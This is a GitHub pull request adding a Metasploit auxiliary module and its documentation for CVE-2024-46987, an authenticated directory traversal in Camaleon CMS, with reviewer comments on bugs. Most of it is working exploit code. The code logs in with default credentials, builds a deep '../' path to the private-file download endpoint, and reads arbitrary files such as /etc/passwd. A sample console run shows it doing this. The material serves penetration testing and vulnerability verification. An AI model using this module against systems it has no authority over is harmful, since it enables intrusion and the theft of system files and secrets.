Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions documentation/modules/auxiliary/gather/camaleon_traversal.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
## Vulnerable Application

This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions >= 2.8.0 and version 2.9.0
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The vulnerable version range statement is internally inconsistent and appears incorrect: it says ">= 2.8.0" but the next sentence says 2.8.1/2.8.2 are not vulnerable (and the module code checks <= 2.8.0 plus 2.9.0). Update the documentation to reflect the actual affected versions (e.g., <= 2.8.0 and 2.9.0).

Suggested change
This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions >= 2.8.0 and version 2.9.0
This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions <= 2.8.0 and version 2.9.0.

Copilot uses AI. Check for mistakes.

CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case.

## Verification Steps

1. Do: `use auxiliary/gather/camaleon_traversal`
2. Do: `set RHOSTS [IP]`
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verification steps use set RHOSTS [IP], but this module registers RHOST (and the scenario later uses set rhost ...). Using RHOSTS here is likely to confuse users / fail with an unknown option. Align the docs with the module’s actual option (RHOST) or change the module to use RHOSTS consistently.

Suggested change
2. Do: `set RHOSTS [IP]`
2. Do: `set RHOST [IP]`

Copilot uses AI. Check for mistakes.
3. Do: `run`

## Options

### username

Valid username. The Camaleon CMS default is "admin".

### password

Valid password. The Camaleon CMS default is "admin123".

### filepath

The filepath of the file to read.

### depth

The number of "../" appended to the filename. Default is 13

### vhost

Target virtual host/domain name. Ex: target.com

### verbose

Get verbose output.

### store_loot

If true, the target file is stored as loot.

Otherwise, the file is printed to stdout.

## Scenarios

```
msf > use auxiliary/gather/camaleon_traversal
msf auxiliary(gather/camaleon_traversal) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf auxiliary(gather/camaleon_traversal) > set rhost 10.0.0.45
rhost => 10.0.0.45
msf auxiliary(gather/camaleon_traversal) > set rport 3000
rport => 3000
msf auxiliary(gather/camaleon_traversal) > set username test
username => test
msf auxiliary(gather/camaleon_traversal) > set password password
password => password
msf auxiliary(gather/camaleon_traversal) > set autocheck false
autocheck => false
msf auxiliary(gather/camaleon_traversal) > run
[*] Running module against 10.0.0.45
[!] AutoCheck is disabled, proceeding with exploitation
[+] /etc/passwd stored as '/home/kali/.msf4/loot/20260314231930_default_unknown_camaleon.travers_470222.txt'
[*] Auxiliary module execution completed
```
280 changes: 280 additions & 0 deletions modules/auxiliary/gather/camaleon_traversal.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,280 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987',
'Description' => %q{
Exploits CVE-2024-46987, an authenticated directory traversal
vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0
},
'Author' => [
'Peter Stockli', # Vulnerability Disclosure
'Goultarde', # Python Script
'BootstrapBool', # Metasploit Module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' => [
['CVE', '2024-46987'],
[
'URL', # Advisory
'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/'
],
[
'URL', # Python Script
'https://github.com/Goultarde/CVE-2024-46987'
],
],
'DisclosureDate' => '2024-08-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RHOST,
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think should already be registered:

Suggested change
Opt::RHOST,

Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Valid username', 'admin']),
OptString.new('PASSWORD', [true, 'Valid password', 'admin123']),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unless this is a default user/password combo, I think this should be set to nil

OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']),
OptString.new('VHOST', [false, 'Virtual host. ex: target.com']),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this should be already registered

Suggested change
OptString.new('VHOST', [false, 'Virtual host. ex: target.com']),

OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]),
Comment on lines +52 to +55
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TARGETURI is registered but never used when building request paths; all requests are hard-coded to /admin/... off a manually constructed base_url. This will break against Camaleon installs not mounted at / and makes the TARGETURI option misleading. Consider making TARGETURI required with a default (e.g. /) and using normalize_uri(target_uri.path, ...) for all request URIs instead of string-building absolute URLs.

Copilot uses AI. Check for mistakes.
OptBool.new('SSL', [false, 'Use SSL', true]),
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true])
]
)
end

def get_base_url(ssl, vhost, rhost)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Was this needed? I believe the send_request_cgi should handle this for us automatically 👀

scheme = ssl ? 'https://' : 'http://'

base_url = vhost.nil? ? rhost : vhost
base_url = base_url[-1] == '/' ? base_url[0..-2] : base_url

"#{scheme}#{base_url}"
end

def build_traversal_path(filepath, depth)
# Remove C:\ prefix if present (path traversal doesn't work with drive letters)
normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')

traversal = '../' * depth

if normalized_path[0] == '/'
return "#{traversal[0..-2]}#{normalized_path}"
end

"#{traversal}#{normalized_path}"
end

def get_token(login_url)
res = send_request_cgi({ 'uri' => login_url, 'keep_cookies' => true })

return nil unless res && res.code == 200

match = res.body.match(/name="authenticity_token" value="([^"]+)"/)

return match ? match[1] : nil
end

def authenticate(base_url, username, password, check)
login_url = "#{base_url}/admin/login"

vprint_status("Retrieving token from #{login_url}")

token = get_token(login_url)

if token.nil?
print_error('Failed to retrieve token')
return check ? Exploit::CheckCode::Unknown : false
end

if cookie_jar.empty?
print_error('Failed to retrieve cookie')
return check ? Exploit::CheckCode::Safe : false
end

vprint_status("Retrieved token #{token}")
vprint_status("Authenticating to #{login_url} with credentials #{username}:#{password}")
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This verbose log line prints the plaintext password (#{username}:#{password}), which can leak credentials into console logs, CI logs, or shared transcripts. Prefer logging only the username (or a redacted password) when VERBOSE is enabled.

Suggested change
vprint_status("Authenticating to #{login_url} with credentials #{username}:#{password}")
vprint_status("Authenticating to #{login_url} with username #{username} (password redacted)")

Copilot uses AI. Check for mistakes.

res = send_request_cgi({
'method' => 'POST',
'uri' => login_url,
'keep_cookies' => true,
Comment on lines +94 to +117
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

send_request_cgi is being given absolute URLs (e.g. https://host/admin/login) via the uri option. In Metasploit's HttpClient/Rex HTTP stack, uri is expected to be a path (origin-form) unless HTTP::uri_full_url is enabled, so this can cause requests to fail against origin servers. Use relative paths via normalize_uri(target_uri.path, 'admin', 'login') (and similarly for dashboard/download) rather than embedding scheme/host in uri.

Copilot uses AI. Check for mistakes.
'vars_post' => {
'authenticity_token' => token,
'user[username]' => username,
'user[password]' => password
}
})

if res.nil? || res.code != 302
return check ? Exploit::CheckCode::Safe : nil
end

res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{base_url}/admin/dashboard" })

if res.body.downcase.include?('logout')
return true
end

return false unless check

if !res.body.downcase.include?('camaleon')
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def get_version(base_url)
vprint_status('Attempting to get build number')

res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{base_url}/admin/dashboard" })

return nil unless res && res.code == 200

html = res.get_html_document

version_div = html.css('div.pull-right').find do |div|
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we verify that this code works still when running the module against a target that responds to /admin/dashboard - but isn't the camaleon application? As I believe this has the potential to raise errors with the current approach

div.at_css('b') && div.at_css('b').text.strip == 'Version'
end

version = version_div.text.strip.match(/Version\s*(\S+)/)[1] if version_div
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

get_version can raise if the Version ... regex doesn't match version_div.text (because match(...) could be nil and [1] would throw). Safer to capture the match object and only index it when present, otherwise return nil/Unknown.

Suggested change
version = version_div.text.strip.match(/Version\s*(\S+)/)[1] if version_div
if version_div
match = version_div.text.strip.match(/Version\s*(\S+)/)
version = match[1] if match
end

Copilot uses AI. Check for mistakes.

return version if version
end

def vuln_version?(base_url)
version = get_version(base_url)

if version.nil?
vprint_warning('Failed to get build version')
return false
end

vprint_status("Detected build version is #{version}")

if version == '2.9.0'
vprint_status('Version is vulnerable')
return true
end

major, minor, patch = version.split('.').map(&:to_i)

if major < 2 || major == 2 && (minor < 8 || minor == 8 && patch == 0)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We've also got Rex::Version that can help improve the readability here

vprint_status('Version is vulnerable')
return true
end

vprint_warning('Version is not vulnerable')
return false
end

def get_file(base_url, filepath, username, password, check)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What are your thoughts on refactoring the code a bit to simplify the conditional logic with these check arguments. i.e. it's a bit hard to follow methods that can have different return types depending on the arguments passed in

vuln_version = false
auth_res = authenticate(base_url, username, password, check)

if auth_res != true
print_error('Failed to authenticate')
return auth_res
end

if check && vuln_version?(base_url) == true
vprint_status('Version is vulnerable')
vuln_version = true
end

filepath = build_traversal_path(filepath, datastore['DEPTH'])

lfi_url = "#{base_url}/admin/media/download_private_file"

vprint_status("Attempting to retrieve file #{filepath} from #{lfi_url}")

res = send_request_cgi({
'method' => 'GET',
'uri' => lfi_url,
'vars_get' => {
'file' => filepath
},
'encode_params' => false
})

if res
if res.code == 404
if check
return vuln_version ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
end

return nil
end

if res.body.downcase.include?('invalid file')
return check ? Exploit::CheckCode::Safe : nil
end

vprint_good('Successfully retrieved file')
return res.body

elsif check
return Exploit::CheckCode::Unknown
end
end

def run
cookie_jar.clear
base_url = get_base_url(datastore['SSL'], datastore['VHOST'], datastore['RHOST'])
res = get_file(base_url, datastore['FILEPATH'], datastore['USERNAME'], datastore['PASSWORD'], false)

if res.nil? || res == false || !res.is_a?(String)
print_error('Failed to obtain file')
return
Comment on lines +192 to +245
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The module’s failure messages don’t match the PR description’s promised output (e.g., "Authentication failed" vs current "Failed to authenticate" / "Failed to obtain file"), and get_file prints "Failed to authenticate" even when running check and authenticate returns a CheckCode. Consider using fail_with(Failure::NoAccess, 'Authentication failed') for bad credentials and avoiding generic error prints when returning Exploit::CheckCode values.

Copilot uses AI. Check for mistakes.
end

ip = datastore['VHOST'].nil? ? datastore['VHOST'] : datastore['RHOST']

if datastore['STORE_LOOT']
path = store_loot(
'camaleon.traversal',
'text/plain',
ip,
res,
datastore['FILEPATH']
Comment on lines +248 to +256
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The host passed to store_loot is computed incorrectly: when VHOST is nil, this sets ip to nil (datastore['VHOST'].nil? ? datastore['VHOST'] : datastore['RHOST']). This can result in loot entries without a host association. Swap the ternary (or just use datastore['RHOST'] for the loot host, since VHOST is a hostname header not the connection target).

Copilot uses AI. Check for mistakes.
)
vprint_line
vprint_line(res)
print_good("#{datastore['FILEPATH']} stored as '#{path}'")
else
vprint_line
print_line(res)
end
Comment on lines +250 to +264
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With STORE_LOOT defaulting to true, successful runs will only print the loot path (and only print the file contents under VERBOSE via vprint_line). This contradicts the PR description’s verification step that "on success the content of the specified file will be output". Either change the default behavior (e.g., print contents as well), or update the PR/documentation expectations accordingly.

Copilot uses AI. Check for mistakes.
end

def check
base_url = get_base_url(datastore['SSL'], datastore['VHOST'], datastore['RHOST'])

res = get_file(base_url, '/etc/passwd', datastore['USERNAME'], datastore['PASSWORD'], true)

Comment on lines +267 to +271
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

check does not clear the cookie jar, but authenticate relies on cookie jar state (and later requests reuse it). If the module is run multiple times in the same console session (or check is invoked after run), stale cookies can affect results. Clear cookie_jar at the start of check (or inside get_file/authenticate).

Copilot uses AI. Check for mistakes.
if res.nil? || res == false
return Exploit::CheckCode::Unknown
end

return Exploit::CheckCode::Vulnerable if res.is_a?(String)

res
end
end
Loading